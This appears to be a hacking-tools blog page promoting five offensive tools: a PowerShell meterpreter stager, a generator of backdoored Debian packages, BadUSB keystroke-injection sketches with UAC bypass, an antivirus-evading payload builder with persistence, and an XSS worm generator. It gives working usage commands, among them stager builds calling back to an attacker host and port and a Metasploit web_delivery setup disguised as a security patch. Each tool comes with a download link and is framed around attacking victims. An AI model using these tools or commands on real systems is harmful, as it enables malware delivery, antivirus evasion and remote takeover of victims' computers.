PowerStager - A payload stager using PowerShell

This script creates an executable stager that downloads a selected powershell payload, loads it into memory and executes it using obfuscated EC methods. The script will also encrypt the stager for dynamic signatures and some additional obfuscation.

This enables the actual payload to be executed indirectly without the victim downloading it, only by executing the stager. The attacker can then for example implement evasion techniques on the web server, hosting the payload, instead of in the stager itself.

Additional methods allows the payload to be embedded into the 'stager' and temporarily stored encrypted on disk for memory injection.

Not only are powershell powerful when managing Windows, it's also powerful when exploiting Windows. This script exploits multiple Windows features such as its inherit trust of powershell, interpretation of shorthand syntaxes, code evaluation and more...

How to use
Install it:

git clone https://github.com/z0noxz/powerstager
cd powerstager
sudo ./setup.py install

Generate a meterpreter payload to upload:

powerstager -t win64 -o out.ps1 -m --lhost 13.37.13.37 --lport 4444 --generate
powerstager -t win64 -o out.exe -u <url pointing the the uploaded payload>

Generate an embedded meterpreter payload:

powerstager -t win64 -o out.exe -m --lhost 13.37.13.37 --lport 4444

Generate an embedded custom payload:

powerstager -t win64 -o out.exe -p input.ps1

Download PowerStager

Read More

kimi - Script To Generate Malicious Debian Packages (Debian Trojans)

Script to generate malicious debian packages (debain trojans).

Kimi is name inspired from "Kimimaro" one of my favriote charater from anime called "Naruto".

Kimi is a script which generates Malicious debian package for metasploit

which consists of bash file. the bash file is deployed into "/usr/local/bin/" directory.

Backdoor gets executed just when victim tries to install deb package due to postinst file

Bash file injects and also acts like some system command which when executed by victim 

and attacker hits with session.

Plus Points :

• Fully indiependent. Means user no need to install any debian package creator
• Can be integrated with any payload generator easily due to engagements of arguemt (lame :P i know) 

Kimi basically depends upon web_delivery module and every thing is automated. 

all the attacker needs is to do following settings :

Setting up Web_Delivery in msf :

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set srvhost 192.168.0.102
srvhost => 192.168.0.102
msf exploit(web_delivery) > set uripath /SecPatch
uripath => /SecPatch
msf exploit(web_delivery) > set Lhost 192.168.0.102
Lhost => 192.168.0.102
msf exploit(web_delivery) > show options
msf exploit(web_delivery) > exploit

Generating Malicious payload :

dreamer@mindless ~/Desktop/projects/kimi $ sudo python kimi.py -n nano -l 127.0.0.1 -V 1.0

NOTE :: This project was made to be integrated with Venom Shellcode Generator 1.0.13.
It can be used standalone also all user needs is to change uripath in msf variables

Tested on :

• Linux Mint 17.2 Cinnamon (Ubuntu 14.04) 
• ParrotOS (Debian Jessie)
• Kali Rolling 2.0

Updates :::

-- Added "postinst" file creation function to make embeded malicious file execution automated
-- Added RC file generation function to fully automate with handler opening, means no need to 
    set handler manually
-- Patched some common bugs [special thanks to r00t 3xp10it :)]

Download kimi

Read More

OverThruster - HID Attack Payload Generator For Arduinos

OverThruster is a tool to generate sketches for Arduinos when used as an HID Attack. It was designed around devices with the ATMEGA32U4 chip, like the CJMCU-BEETLE, or the new LilyGo "BadUSB" devices popping up on ebay and aliexpress that look like USB sticks but contain an Arduino. I wrote this because the few other tools out there that do similar don't have as many customization options like the UAC Bypass options or the notification bubble options. I wanted to create something that could quickly generate a custom payload and that did not require anything extra to be install beyond the standard Python libraries and the Arduino IDE. I also wrote this to get better at Python. This is my first release of anything, so expect problems.

Requirements

• An Arduino that supports keyboard emulation
• Python 2.7 (Python 3 version is coming)
• Arduino IDE: https://www.arduino.cc/en/Main/Software
• NicoHood's HID: https://github.com/NicoHood/HID/ (This can be installed straight from the Arduino IDE from the menu: Sketch->.Include Library->manage Libraries and search for "HID-Project")

Use

1. start by launching OverThruster.py
2. Select the target's OS
3. Select the specific payload
4. Fill in the required settings
5. Generate the .ino file
6. Open the .ino file in the Arduino IDE
7. Flash the sketch to your Arduino device

Notes

1. After flashing the payload, the Arduino IDE will disconnect the Arduino, then it will automatically reconnect, and deliver the payload. Be ready for characters to suddenly be typed to the screen; I recommend having notepad or similar open and focused when you flash the sketch
2. OverThruster currently drops the .ino file and the Metasploit .rc file in the working directory, so look for them there.
3. For the UAC Bypass techniques, timing is key. Older devices will open the Terminal with Admin rights at a slower speed, and therefore you may need to adjust the delay() in the BypassUAC functions in the sketch
4. This is just the beginning. Many more payloads, features, options and additions are coming.
5. Please contribute if you have something to add.

Download OverThruster

Read More

HERCULES - A Special Payload Generator That Can Bypass Antivirus Softwares

HERCULES is a customizable payload generator that can bypass antivirus software.

INSTALLATTION
SUPPORTED PLATFORMS:

Operative system	Version
Ubuntu	16.04 / 15.10
Kali linux	Rolling / Sana
Manjaro	*
Arch Linux	*
Black Arch	*
Parrot OS	3.1

    go get github.com/fatih/color
    go run Setup.go

WARNING: Don't change the location of the HERCULES folder.

USAGE

    HERCULES

SPECIAL FUNCTIONS

    Persistence : Persistence function adds the running binary to windows start-up registry (CurrentVersion/Run) for continious access.

    Migration : This function triggers a loop that tries to migrate to a remote process until it is successfully migrated. 

WHAT IS UPX ?

    UPX (Ultimate Packer for Executables) is a free and open source executable packer supporting a number of file formats from different operating systems. UPX simply takes the binary file and compresses it, packed binary unpack(decompress) itself at runtime to memory.

WHAT IS "AV EVASION SCORE" ?

    AV Evasion Score is a scale(1/10) for determining the effectiveness of the payloads anti virus bypassing capabilities, 1 represents low possibility to pass AV softwares.

    Using special functions and packing the payloads with upx decreases the AV Evasion Score.

COMING SOON...

• Binary infector
• Bypass AV functon
• AES payload encryption
• OSX support

Download HERCULES

Read More

[XSSless] An automated XSS payload generator written in python

An automated XSS payload generator written in python.

Usage

1. Record request(s) with Burp proxy
2. Select request(s) you want to generate, then right click and select "Save items"
3. Use xssless to generate your payload: ./xssless.py burp_export_file
4. Pwn!

A more detailed tutorial can be found here

Features

• Automated XSS payload generation from imported Burp proxy requests
• Payloads are 100% asynchronous and won't freeze the user's browser
• CSRF tokens can be easily extracted and set via the -p option
• POST multipart is supported, along with XSS file uploading via the -f option
• Payloads are dynamic and portable (due to relative URLs)
• Crazy JavaScript worms with no hassle!

Download XSSless

Read More